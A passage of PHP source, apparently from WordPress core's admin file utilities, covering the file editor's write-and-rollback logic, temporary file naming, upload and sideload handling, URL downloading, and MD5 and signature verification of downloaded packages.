		return new WP_Error( 'missing_theme_or_plugin' );
	}

	// Ensure file is real.
	if ( ! is_file( $real_file ) ) {
		return new WP_Error( 'file_does_not_exist', __( 'File does not exist! Please double check the name and try again.' ) );
	}

	// Ensure file extension is allowed.
	$extension = null;
	if ( preg_match( '/\.([^.]+)$/', $real_file, $matches ) ) {
		$extension = strtolower( $matches[1] );
		if ( ! in_array( $extension, $editable_extensions, true ) ) {
			return new WP_Error( 'illegal_file_type', __( 'Files of this type are not editable.' ) );
		}
	}

	$previous_content = file_get_contents( $real_file );

	if ( ! is_writable( $real_file ) ) {
		return new WP_Error( 'file_not_writable' );
	}

	$f = fopen( $real_file, 'w+' );

	if ( false === $f ) {
		return new WP_Error( 'file_not_writable' );
	}

	$written = fwrite( $f, $content );
	fclose( $f );

	if ( false === $written ) {
		return new WP_Error( 'unable_to_write', __( 'Unable to write to file.' ) );
	}

	wp_opcache_invalidate( $real_file, true );

	if ( $is_active && 'php' === $extension ) {

		$scrape_key   = md5( rand() );
		$transient    = 'scrape_key_' . $scrape_key;
		$scrape_nonce = (string) rand();
		// It shouldn't take more than 60 seconds to make the two loopback requests.
		set_transient( $transient, $scrape_nonce, 60 );

		$cookies       = wp_unslash( $_COOKIE );
		$scrape_params = array(
			'wp_scrape_key'   => $scrape_key,
			'wp_scrape_nonce' => $scrape_nonce,
		);
		$headers       = array(
			'Cache-Control' => 'no-cache',
		);

		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

		// Include Basic auth in loopback requests.
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

		// Make sure PHP process doesn't die before loopback requests complete.
		if ( function_exists( 'set_time_limit' ) ) {
			set_time_limit( 5 * MINUTE_IN_SECONDS );
		}

		// Time to wait for loopback requests to finish.
		$timeout = 100; // 100 seconds.

		$needle_start = "###### wp_scraping_result_start:$scrape_key ######";
		$needle_end   = "###### wp_scraping_result_end:$scrape_key ######";

		// Attempt loopback request to editor to see if user just whitescreened themselves.
		if ( $plugin ) {
			$url = add_query_arg( compact( 'plugin', 'file' ), admin_url( 'plugin-editor.php' ) );
		} elseif ( isset( $stylesheet ) ) {
			$url = add_query_arg(
				array(
					'theme' => $stylesheet,
					'file'  => $file,
				),
				admin_url( 'theme-editor.php' )
			);
		} else {
			$url = admin_url();
		}

		if ( function_exists( 'session_status' ) && PHP_SESSION_ACTIVE === session_status() ) {
			/*
			 * Close any active session to prevent HTTP requests from timing out
			 * when attempting to connect back to the site.
			 */
			session_write_close();
		}

		$url                    = add_query_arg( $scrape_params, $url );
		$r                      = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
		$body                   = wp_remote_retrieve_body( $r );
		$scrape_result_position = strpos( $body, $needle_start );

		$loopback_request_failure = array(
			'code'    => 'loopback_request_failed',
			'message' => __( 'Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.' ),
		);
		$json_parse_failure       = array(
			'code' => 'json_parse_error',
		);

		$result = null;

		if ( false === $scrape_result_position ) {
			$result = $loopback_request_failure;
		} else {
			$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
			$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
			$result       = json_decode( trim( $error_output ), true );
			if ( empty( $result ) ) {
				$result = $json_parse_failure;
			}
		}

		// Try making request to homepage as well to see if visitors have been whitescreened.
		if ( true === $result ) {
			$url                    = home_url( '/' );
			$url                    = add_query_arg( $scrape_params, $url );
			$r                      = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
			$body                   = wp_remote_retrieve_body( $r );
			$scrape_result_position = strpos( $body, $needle_start );

			if ( false === $scrape_result_position ) {
				$result = $loopback_request_failure;
			} else {
				$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
				$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
				$result       = json_decode( trim( $error_output ), true );
				if ( empty( $result ) ) {
					$result = $json_parse_failure;
				}
			}
		}

		delete_transient( $transient );

		if ( true !== $result ) {
			// Roll-back file change.
			file_put_contents( $real_file, $previous_content );
			wp_opcache_invalidate( $real_file, true );

			if ( ! isset( $result['message'] ) ) {
				$message = __( 'Something went wrong.' );
			} else {
				$message = $result['message'];
				unset( $result['message'] );
			}

			return new WP_Error( 'php_error', $message, $result );
		}
	}

	if ( $theme instanceof WP_Theme ) {
		$theme->cache_delete();
	}

	return true;
}


/**
 * Returns a filename of a temporary unique file.
 *
 * Please note that the calling function must delete or move the file.
 *
 * The filename is based off the passed parameter or defaults to the current unix timestamp,
 * while the directory can either be passed as well, or by leaving it blank, default to a writable
 * temporary directory.
 *
 * @since 2.6.0
 *
 * @param string $filename Optional. Filename to base the Unique file off. Default empty.
 * @param string $dir      Optional. Directory to store the file in. Default empty.
 * @return string A writable filename.
 */
function wp_tempnam( $filename = '', $dir = '' ) {
	if ( empty( $dir ) ) {
		$dir = get_temp_dir();
	}

	if ( empty( $filename ) || in_array( $filename, array( '.', '/', '\\' ), true ) ) {
		$filename = uniqid();
	}

	// Use the basename of the given file without the extension as the name for the temporary directory.
	$temp_filename = basename( $filename );
	$temp_filename = preg_replace( '|\.[^.]*$|', '', $temp_filename );

	// If the folder is falsey, use its parent directory name instead.
	if ( ! $temp_filename ) {
		return wp_tempnam( dirname( $filename ), $dir );
	}

	// Suffix some random data to avoid filename conflicts.
	$temp_filename .= '-' . wp_generate_password( 6, false );
	$temp_filename .= '.tmp';
	$temp_filename  = wp_unique_filename( $dir, $temp_filename );

	/*
	 * Filesystems typically have a limit of 255 characters for a filename.
	 *
	 * If the generated unique filename exceeds this, truncate the initial
	 * filename and try again.
	 *
	 * As it's possible that the truncated filename may exist, producing a
	 * suffix of "-1" or "-10" which could exceed the limit again, truncate
	 * it to 252 instead.
	 */
	$characters_over_limit = strlen( $temp_filename ) - 252;
	if ( $characters_over_limit > 0 ) {
		$filename = substr( $filename, 0, -$characters_over_limit );
		return wp_tempnam( $filename, $dir );
	}

	$temp_filename = $dir . $temp_filename;

	$fp = @fopen( $temp_filename, 'x' );

	if ( ! $fp && is_writable( $dir ) && file_exists( $temp_filename ) ) {
		return wp_tempnam( $filename, $dir );
	}

	if ( $fp ) {
		fclose( $fp );
	}

	return $temp_filename;
}

/**
 * Makes sure that the file that was requested to be edited is allowed to be edited.
 *
 * Function will die if you are not allowed to edit the file.
 *
 * @since 1.5.0
 *
 * @param string   $file          File the user is attempting to edit.
 * @param string[] $allowed_files Optional. Array of allowed files to edit.
 *                                `$file` must match an entry exactly.
 * @return string|void Returns the file name on success, dies on failure.
 */
function validate_file_to_edit( $file, $allowed_files = array() ) {
	$code = validate_file( $file, $allowed_files );

	if ( ! $code ) {
		return $file;
	}

	switch ( $code ) {
		case 1:
			wp_die( __( 'Sorry, that file cannot be edited.' ) );

			// case 2 :
			// wp_die( __('Sorry, cannot call files with their real path.' ));

		case 3:
			wp_die( __( 'Sorry, that file cannot be edited.' ) );
	}
}

/**
 * Handles PHP uploads in WordPress.
 *
 * Sanitizes file names, checks extensions for mime type, and moves the file
 * to the appropriate directory within the uploads directory.
 *
 * @access private
 * @since 4.0.0
 *
 * @see wp_handle_upload_error
 *
 * @param array       $file      {
 *     Reference to a single element from `$_FILES`. Call the function once for each uploaded file.
 *
 *     @type string $name     The original name of the file on the client machine.
 *     @type string $type     The mime type of the file, if the browser provided this information.
 *     @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
 *     @type int    $size     The size, in bytes, of the uploaded file.
 *     @type int    $error    The error code associated with this file upload.
 * }
 * @param array|false $overrides {
 *     An array of override parameters for this file, or boolean false if none are provided.
 *
 *     @type callable $upload_error_handler     Function to call when there is an error during the upload process.
 *                                              See {@see wp_handle_upload_error()}.
 *     @type callable $unique_filename_callback Function to call when determining a unique file name for the file.
 *                                              See {@see wp_unique_filename()}.
 *     @type string[] $upload_error_strings     The strings that describe the error indicated in
 *                                              `$_FILES[{form field}]['error']`.
 *     @type bool     $test_form                Whether to test that the `$_POST['action']` parameter is as expected.
 *     @type bool     $test_size                Whether to test that the file size is greater than zero bytes.
 *     @type bool     $test_type                Whether to test that the mime type of the file is as expected.
 *     @type string[] $mimes                    Array of allowed mime types keyed by their file extension regex.
 * }
 * @param string      $time      Time formatted in 'yyyy/mm'.
 * @param string      $action    Expected value for `$_POST['action']`.
 * @return array {
 *     On success, returns an associative array of file attributes.
 *     On failure, returns `$overrides['upload_error_handler']( &$file, $message )`
 *     or `array( 'error' => $message )`.
 *
 *     @type string $file Filename of the newly-uploaded file.
 *     @type string $url  URL of the newly-uploaded file.
 *     @type string $type Mime type of the newly-uploaded file.
 * }
 */
function _wp_handle_upload( &$file, $overrides, $time, $action ) {
	// The default error handler.
	if ( ! function_exists( 'wp_handle_upload_error' ) ) {
		function wp_handle_upload_error( &$file, $message ) {
			return array( 'error' => $message );
		}
	}

	/**
	 * Filters the data for a file before it is uploaded to WordPress.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to the post action.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_handle_sideload_prefilter`
	 *  - `wp_handle_upload_prefilter`
	 *
	 * @since 2.9.0 as 'wp_handle_upload_prefilter'.
	 * @since 4.0.0 Converted to a dynamic hook with `$action`.
	 *
	 * @param array $file {
	 *     Reference to a single element from `$_FILES`.
	 *
	 *     @type string $name     The original name of the file on the client machine.
	 *     @type string $type     The mime type of the file, if the browser provided this information.
	 *     @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
	 *     @type int    $size     The size, in bytes, of the uploaded file.
	 *     @type int    $error    The error code associated with this file upload.
	 * }
	 */
	$file = apply_filters( "{$action}_prefilter", $file );

	/**
	 * Filters the override parameters for a file before it is uploaded to WordPress.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to the post action.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_handle_sideload_overrides`
	 *  - `wp_handle_upload_overrides`
	 *
	 * @since 5.7.0
	 *
	 * @param array|false $overrides An array of override parameters for this file. Boolean false if none are
	 *                               provided. See {@see _wp_handle_upload()}.
	 * @param array       $file      {
	 *     Reference to a single element from `$_FILES`.
	 *
	 *     @type string $name     The original name of the file on the client machine.
	 *     @type string $type     The mime type of the file, if the browser provided this information.
	 *     @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
	 *     @type int    $size     The size, in bytes, of the uploaded file.
	 *     @type int    $error    The error code associated with this file upload.
	 * }
	 */
	$overrides = apply_filters( "{$action}_overrides", $overrides, $file );

	// You may define your own function and pass the name in $overrides['upload_error_handler'].
	$upload_error_handler = 'wp_handle_upload_error';
	if ( isset( $overrides['upload_error_handler'] ) ) {
		$upload_error_handler = $overrides['upload_error_handler'];
	}

	// You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
	if ( isset( $file['error'] ) && ! is_numeric( $file['error'] ) && $file['error'] ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $file['error'] ) );
	}

	// Install user overrides. Did we mention that this voids your warranty?

	// You may define your own function and pass the name in $overrides['unique_filename_callback'].
	$unique_filename_callback = null;
	if ( isset( $overrides['unique_filename_callback'] ) ) {
		$unique_filename_callback = $overrides['unique_filename_callback'];
	}

	/*
	 * This may not have originally been intended to be overridable,
	 * but historically has been.
	 */
	if ( isset( $overrides['upload_error_strings'] ) ) {
		$upload_error_strings = $overrides['upload_error_strings'];
	} else {
		// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
		$upload_error_strings = array(
			false,
			sprintf(
				/* translators: 1: upload_max_filesize, 2: php.ini */
				__( 'The uploaded file exceeds the %1$s directive in %2$s.' ),
				'upload_max_filesize',
				'php.ini'
			),
			sprintf(
				/* translators: %s: MAX_FILE_SIZE */
				__( 'The uploaded file exceeds the %s directive that was specified in the HTML form.' ),
				'MAX_FILE_SIZE'
			),
			__( 'The uploaded file was only partially uploaded.' ),
			__( 'No file was uploaded.' ),
			'',
			__( 'Missing a temporary folder.' ),
			__( 'Failed to write file to disk.' ),
			__( 'File upload stopped by extension.' ),
		);
	}

	// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
	$test_form = isset( $overrides['test_form'] ) ? $overrides['test_form'] : true;
	$test_size = isset( $overrides['test_size'] ) ? $overrides['test_size'] : true;

	// If you override this, you must provide $ext and $type!!
	$test_type = isset( $overrides['test_type'] ) ? $overrides['test_type'] : true;
	$mimes     = isset( $overrides['mimes'] ) ? $overrides['mimes'] : null;

	// A correct form post will pass this test.
	if ( $test_form && ( ! isset( $_POST['action'] ) || $_POST['action'] !== $action ) ) {
		return call_user_func_array( $upload_error_handler, array( &$file, __( 'Invalid form submission.' ) ) );
	}

	// A successful upload will pass this test. It makes no sense to override this one.
	if ( isset( $file['error'] ) && $file['error'] > 0 ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $upload_error_strings[ $file['error'] ] ) );
	}

	// A properly uploaded file will pass this test. There should be no reason to override this one.
	$test_uploaded_file = 'wp_handle_upload' === $action ? is_uploaded_file( $file['tmp_name'] ) : @is_readable( $file['tmp_name'] );
	if ( ! $test_uploaded_file ) {
		return call_user_func_array( $upload_error_handler, array( &$file, __( 'Specified file failed upload test.' ) ) );
	}

	$test_file_size = 'wp_handle_upload' === $action ? $file['size'] : filesize( $file['tmp_name'] );
	// A non-empty file will pass this test.
	if ( $test_size && ! ( $test_file_size > 0 ) ) {
		if ( is_multisite() ) {
			$error_msg = __( 'File is empty. Please upload something more substantial.' );
		} else {
			$error_msg = sprintf(
				/* translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize */
				__( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your %1$s file or by %2$s being defined as smaller than %3$s in %1$s.' ),
				'php.ini',
				'post_max_size',
				'upload_max_filesize'
			);
		}

		return call_user_func_array( $upload_error_handler, array( &$file, $error_msg ) );
	}

	// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
	if ( $test_type ) {
		$wp_filetype     = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes );
		$ext             = empty( $wp_filetype['ext'] ) ? '' : $wp_filetype['ext'];
		$type            = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type'];
		$proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename'];

		// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect.
		if ( $proper_filename ) {
			$file['name'] = $proper_filename;
		}

		if ( ( ! $type || ! $ext ) && ! current_user_can( 'unfiltered_upload' ) ) {
			return call_user_func_array( $upload_error_handler, array( &$file, __( 'Sorry, you are not allowed to upload this file type.' ) ) );
		}

		if ( ! $type ) {
			$type = $file['type'];
		}
	} else {
		$type = '';
	}

	/*
	 * A writable uploads dir will pass this test. Again, there's no point
	 * overriding this one.
	 */
	$uploads = wp_upload_dir( $time );
	if ( ! ( $uploads && false === $uploads['error'] ) ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $uploads['error'] ) );
	}

	$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );

	// Move the file to the uploads dir.
	$new_file = $uploads['path'] . "/$filename";

	/**
	 * Filters whether to short-circuit moving the uploaded file after passing all checks.
	 *
	 * If a non-null value is returned from the filter, moving the file and any related
	 * error reporting will be completely skipped.
	 *
	 * @since 4.9.0
	 *
	 * @param mixed    $move_new_file If null (default) move the file after the upload.
	 * @param array    $file          {
	 *     Reference to a single element from `$_FILES`.
	 *
	 *     @type string $name     The original name of the file on the client machine.
	 *     @type string $type     The mime type of the file, if the browser provided this information.
	 *     @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
	 *     @type int    $size     The size, in bytes, of the uploaded file.
	 *     @type int    $error    The error code associated with this file upload.
	 * }
	 * @param string   $new_file      Filename of the newly-uploaded file.
	 * @param string   $type          Mime type of the newly-uploaded file.
	 */
	$move_new_file = apply_filters( 'pre_move_uploaded_file', null, $file, $new_file, $type );

	if ( null === $move_new_file ) {
		if ( 'wp_handle_upload' === $action ) {
			$move_new_file = @move_uploaded_file( $file['tmp_name'], $new_file );
		} else {
			// Use copy and unlink because rename breaks streams.
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
			$move_new_file = @copy( $file['tmp_name'], $new_file );
			unlink( $file['tmp_name'] );
		}

		if ( false === $move_new_file ) {
			if ( str_starts_with( $uploads['basedir'], ABSPATH ) ) {
				$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
			} else {
				$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
			}

			return $upload_error_handler(
				$file,
				sprintf(
					/* translators: %s: Destination file path. */
					__( 'The uploaded file could not be moved to %s.' ),
					$error_path
				)
			);
		}
	}

	// Set correct file permissions.
	$stat  = stat( dirname( $new_file ) );
	$perms = $stat['mode'] & 0000666;
	chmod( $new_file, $perms );

	// Compute the URL.
	$url = $uploads['url'] . "/$filename";

	if ( is_multisite() ) {
		clean_dirsize_cache( $new_file );
	}

	/**
	 * Filters the data array for the uploaded file.
	 *
	 * @since 2.1.0
	 *
	 * @param array  $upload {
	 *     Array of upload data.
	 *
	 *     @type string $file Filename of the newly-uploaded file.
	 *     @type string $url  URL of the newly-uploaded file.
	 *     @type string $type Mime type of the newly-uploaded file.
	 * }
	 * @param string $context The type of upload action. Values include 'upload' or 'sideload'.
	 */
	return apply_filters(
		'wp_handle_upload',
		array(
			'file' => $new_file,
			'url'  => $url,
			'type' => $type,
		),
		'wp_handle_sideload' === $action ? 'sideload' : 'upload'
	);
}

/**
 * Wrapper for _wp_handle_upload().
 *
 * Passes the {@see 'wp_handle_upload'} action.
 *
 * @since 2.0.0
 *
 * @see _wp_handle_upload()
 *
 * @param array       $file      Reference to a single element of `$_FILES`.
 *                               Call the function once for each uploaded file.
 *                               See _wp_handle_upload() for accepted values.
 * @param array|false $overrides Optional. An associative array of names => values
 *                               to override default variables. Default false.
 *                               See _wp_handle_upload() for accepted values.
 * @param string      $time      Optional. Time formatted in 'yyyy/mm'. Default null.
 * @return array See _wp_handle_upload() for return value.
 */
function wp_handle_upload( &$file, $overrides = false, $time = null ) {
	/*
	 *  $_POST['action'] must be set and its value must equal $overrides['action']
	 *  or this:
	 */
	$action = 'wp_handle_upload';
	if ( isset( $overrides['action'] ) ) {
		$action = $overrides['action'];
	}

	return _wp_handle_upload( $file, $overrides, $time, $action );
}

/**
 * Wrapper for _wp_handle_upload().
 *
 * Passes the {@see 'wp_handle_sideload'} action.
 *
 * @since 2.6.0
 *
 * @see _wp_handle_upload()
 *
 * @param array       $file      Reference to a single element of `$_FILES`.
 *                               Call the function once for each uploaded file.
 *                               See _wp_handle_upload() for accepted values.
 * @param array|false $overrides Optional. An associative array of names => values
 *                               to override default variables. Default false.
 *                               See _wp_handle_upload() for accepted values.
 * @param string      $time      Optional. Time formatted in 'yyyy/mm'. Default null.
 * @return array See _wp_handle_upload() for return value.
 */
function wp_handle_sideload( &$file, $overrides = false, $time = null ) {
	/*
	 *  $_POST['action'] must be set and its value must equal $overrides['action']
	 *  or this:
	 */
	$action = 'wp_handle_sideload';
	if ( isset( $overrides['action'] ) ) {
		$action = $overrides['action'];
	}

	return _wp_handle_upload( $file, $overrides, $time, $action );
}

/**
 * Downloads a URL to a local temporary file using the WordPress HTTP API.
 *
 * Please note that the calling function must delete or move the file.
 *
 * @since 2.5.0
 * @since 5.2.0 Signature Verification with SoftFail was added.
 * @since 5.9.0 Support for Content-Disposition filename was added.
 *
 * @param string $url                    The URL of the file to download.
 * @param int    $timeout                The timeout for the request to download the file.
 *                                       Default 300 seconds.
 * @param bool   $signature_verification Whether to perform Signature Verification.
 *                                       Default false.
 * @return string|WP_Error Filename on success, WP_Error on failure.
 */
function download_url( $url, $timeout = 300, $signature_verification = false ) {
	// WARNING: The file is not automatically deleted, the script must delete or move the file.
	if ( ! $url ) {
		return new WP_Error( 'http_no_url', __( 'Invalid URL Provided.' ) );
	}

	$url_path     = parse_url( $url, PHP_URL_PATH );
	$url_filename = '';
	if ( is_string( $url_path ) && '' !== $url_path ) {
		$url_filename = basename( $url_path );
	}

	$tmpfname = wp_tempnam( $url_filename );
	if ( ! $tmpfname ) {
		return new WP_Error( 'http_no_file', __( 'Could not create temporary file.' ) );
	}

	$response = wp_safe_remote_get(
		$url,
		array(
			'timeout'  => $timeout,
			'stream'   => true,
			'filename' => $tmpfname,
		)
	);

	if ( is_wp_error( $response ) ) {
		unlink( $tmpfname );
		return $response;
	}

	$response_code = wp_remote_retrieve_response_code( $response );

	if ( 200 !== $response_code ) {
		$data = array(
			'code' => $response_code,
		);

		// Retrieve a sample of the response body for debugging purposes.
		$tmpf = fopen( $tmpfname, 'rb' );

		if ( $tmpf ) {
			/**
			 * Filters the maximum error response body size in `download_url()`.
			 *
			 * @since 5.1.0
			 *
			 * @see download_url()
			 *
			 * @param int $size The maximum error response body size. Default 1 KB.
			 */
			$response_size = apply_filters( 'download_url_error_max_body_size', KB_IN_BYTES );

			$data['body'] = fread( $tmpf, $response_size );
			fclose( $tmpf );
		}

		unlink( $tmpfname );

		return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ), $data );
	}

	$content_disposition = wp_remote_retrieve_header( $response, 'Content-Disposition' );

	if ( $content_disposition ) {
		$content_disposition = strtolower( $content_disposition );

		if ( str_starts_with( $content_disposition, 'attachment; filename=' ) ) {
			$tmpfname_disposition = sanitize_file_name( substr( $content_disposition, 21 ) );
		} else {
			$tmpfname_disposition = '';
		}

		// Potential file name must be valid string.
		if ( $tmpfname_disposition && is_string( $tmpfname_disposition )
			&& ( 0 === validate_file( $tmpfname_disposition ) )
		) {
			$tmpfname_disposition = dirname( $tmpfname ) . '/' . $tmpfname_disposition;

			if ( rename( $tmpfname, $tmpfname_disposition ) ) {
				$tmpfname = $tmpfname_disposition;
			}

			if ( ( $tmpfname !== $tmpfname_disposition ) && file_exists( $tmpfname_disposition ) ) {
				unlink( $tmpfname_disposition );
			}
		}
	}

	$content_md5 = wp_remote_retrieve_header( $response, 'Content-MD5' );

	if ( $content_md5 ) {
		$md5_check = verify_file_md5( $tmpfname, $content_md5 );

		if ( is_wp_error( $md5_check ) ) {
			unlink( $tmpfname );
			return $md5_check;
		}
	}

	// If the caller expects signature verification to occur, check to see if this URL supports it.
	if ( $signature_verification ) {
		/**
		 * Filters the list of hosts which should have Signature Verification attempted on.
		 *
		 * @since 5.2.0
		 *
		 * @param string[] $hostnames List of hostnames.
		 */
		$signed_hostnames = apply_filters( 'wp_signature_hosts', array( 'wordpress.org', 'downloads.wordpress.org', 's.w.org' ) );

		$signature_verification = in_array( parse_url( $url, PHP_URL_HOST ), $signed_hostnames, true );
	}

	// Perform signature validation if supported.
	if ( $signature_verification ) {
		$signature = wp_remote_retrieve_header( $response, 'X-Content-Signature' );

		if ( ! $signature ) {
			/*
			 * Retrieve signatures from a file if the header wasn't included.
			 * WordPress.org stores signatures at $package_url.sig.
			 */

			$signature_url = false;

			if ( is_string( $url_path ) && ( str_ends_with( $url_path, '.zip' ) || str_ends_with( $url_path, '.tar.gz' ) ) ) {
				$signature_url = str_replace( $url_path, $url_path . '.sig', $url );
			}

			/**
			 * Filters the URL where the signature for a file is located.
			 *
			 * @since 5.2.0
			 *
			 * @param false|string $signature_url The URL where signatures can be found for a file, or false if none are known.
			 * @param string $url                 The URL being verified.
			 */
			$signature_url = apply_filters( 'wp_signature_url', $signature_url, $url );

			if ( $signature_url ) {
				$signature_request = wp_safe_remote_get(
					$signature_url,
					array(
						'limit_response_size' => 10 * KB_IN_BYTES, // 10KB should be large enough for quite a few signatures.
					)
				);

				if ( ! is_wp_error( $signature_request ) && 200 === wp_remote_retrieve_response_code( $signature_request ) ) {
					$signature = explode( "\n", wp_remote_retrieve_body( $signature_request ) );
				}
			}
		}

		// Perform the checks.
		$signature_verification = verify_file_signature( $tmpfname, $signature, $url_filename );
	}

	if ( is_wp_error( $signature_verification ) ) {
		if (
			/**
			 * Filters whether Signature Verification failures should be allowed to soft fail.
			 *
			 * WARNING: This may be removed from a future release.
			 *
			 * @since 5.2.0
			 *
			 * @param bool   $signature_softfail If a softfail is allowed.
			 * @param string $url                The url being accessed.
			 */
			apply_filters( 'wp_signature_softfail', true, $url )
		) {
			$signature_verification->add_data( $tmpfname, 'softfail-filename' );
		} else {
			// Hard-fail.
			unlink( $tmpfname );
		}

		return $signature_verification;
	}

	return $tmpfname;
}

/**
 * Calculates and compares the MD5 of a file to its expected value.
 *
 * @since 3.7.0
 *
 * @param string $filename     The filename to check the MD5 of.
 * @param string $expected_md5 The expected MD5 of the file, either a base64-encoded raw md5,
 *                             or a hex-encoded md5.
 * @return bool|WP_Error True on success, false when the MD5 format is unknown/unexpected,
 *                       WP_Error on failure.
 */
function verify_file_md5( $filename, $expected_md5 ) {
	if ( 32 === strlen( $expected_md5 ) ) {
		$expected_raw_md5 = pack( 'H*', $expected_md5 );
	} elseif ( 24 === strlen( $expected_md5 ) ) {
		$expected_raw_md5 = base64_decode( $expected_md5 );
	} else {
		return false; // Unknown format.
	}

	$file_md5 = md5_file( $filename, true );

	if ( $file_md5 === $expected_raw_md5 ) {
		return true;
	}

	return new WP_Error(
		'md5_mismatch',
		sprintf(
			/* translators: 1: File checksum, 2: Expected checksum value. */
			__( 'The checksum of the file (%1$s) does not match the expected checksum value (%2$s).' ),
			bin2hex( $file_md5 ),
			bin2hex( $expected_raw_md5 )
		)
	);
}

/**
 * Verifies the contents of a file against its ED25519 signature.
 *
 * @since 5.2.0
 *
 * @param string       $filename            The file to validate.
 * @param string|array $signatures          A Signature provided for the file.
 * @param string|false $filename_for_errors Optional. A friendly filename for errors.
 * @return bool|WP_Error True on success, false if verification not attempted,
 *                       or WP_Error describing an error condition.
 */
function verify_file_signature( $filename, $signatures, $filename_for_errors = false ) {
	if ( ! $filename_for_errors ) {
		$filename_for_errors = wp_basename( $filename );
	}

	// Check we can process signatures.
	if ( ! function_exists( 'sodium_crypto_sign_verify_detached' ) || ! in_array( 'sha384', array_map( 'strtolower', hash_algos() ), true ) ) {
		return new WP_Error(
			'signature_verification_unsupported',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			( ! function_exists( 'sodium_crypto_sign_verify_detached' ) ? 'sodium_crypto_sign_verify_detached' : 'sha384' )
		);
	}

	// Check for an edge-case affecting PHP Maths abilities.
	if (
		! extension_loaded( 'sodium' ) &&
		in_array( PHP_VERSION_ID, array( 70200, 70201, 70202 ), true ) &&
		extension_loaded( 'opcache' )
	) {
		/*
		 * Sodium_Compat isn't compatible with PHP 7.2.0~7.2.2 due to a bug in the PHP Opcache extension, bail early as it'll fail.
		 * https://bugs.php.net/bug.php?id=75938
		 */
		return new WP_Error(
			'signature_verification_unsupported',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			array(
				'php'    => PHP_VERSION,
				'sodium' => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
			)
		);
	}

	// Verify runtime speed of Sodium_Compat is acceptable.
	if ( ! extension_loaded( 'sodium' ) && ! ParagonIE_Sodium_Compat::polyfill_is_fast() ) {
		$sodium_compat_is_fast = false;

		// Allow for an old version of Sodium_Compat being loaded before the bundled WordPress one.
		if ( method_exists( 'ParagonIE_Sodium_Compat', 'runtime_speed_test' ) ) {
			/*
			 * Run `ParagonIE_Sodium_Compat::runtime_speed_test()` in optimized integer mode,
			 * as that's what WordPress utilizes during signing verifications.
			 */
			// phpcs:disable WordPress.NamingConventions.ValidVariableName
			$old_fastMult                      = ParagonIE_Sodium_Compat::$fastMult;
			ParagonIE_Sodium_Compat::$fastMult = true;
			$sodium_compat_is_fast             = ParagonIE_Sodium_Compat::runtime_speed_test( 100, 10 );
			ParagonIE_Sodium_Compat::$fastMult = $old_fastMult;
			// phpcs:enable
		}

		/*
		 * This cannot be performed in a reasonable amount of time.
		 * https://github.com/paragonie/sodium_compat#help-sodium_compat-is-slow-how-can-i-make-it-fast
		 */
		if ( ! $sodium_compat_is_fast ) {
			return new WP_Error(
				'signature_verification_unsupported',
				sprintf(
					/* translators: %s: The filename of the package. */
					__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
					'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
				),
				array(
					'php'                => PHP_VERSION,
					'sodium'             => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
					'polyfill_is_fast'   => false,
					'max_execution_time' => ini_get( 'max_execution_time' ),
				)
			);
		}
	}

	if ( ! $signatures ) {
		return new WP_Error(
			'signature_verification_no_signature',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as no signature was found.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			array(
				'filename' => $filename_for_errors,
			)
		);
	}

	$trusted_keys = wp_trusted_keys();
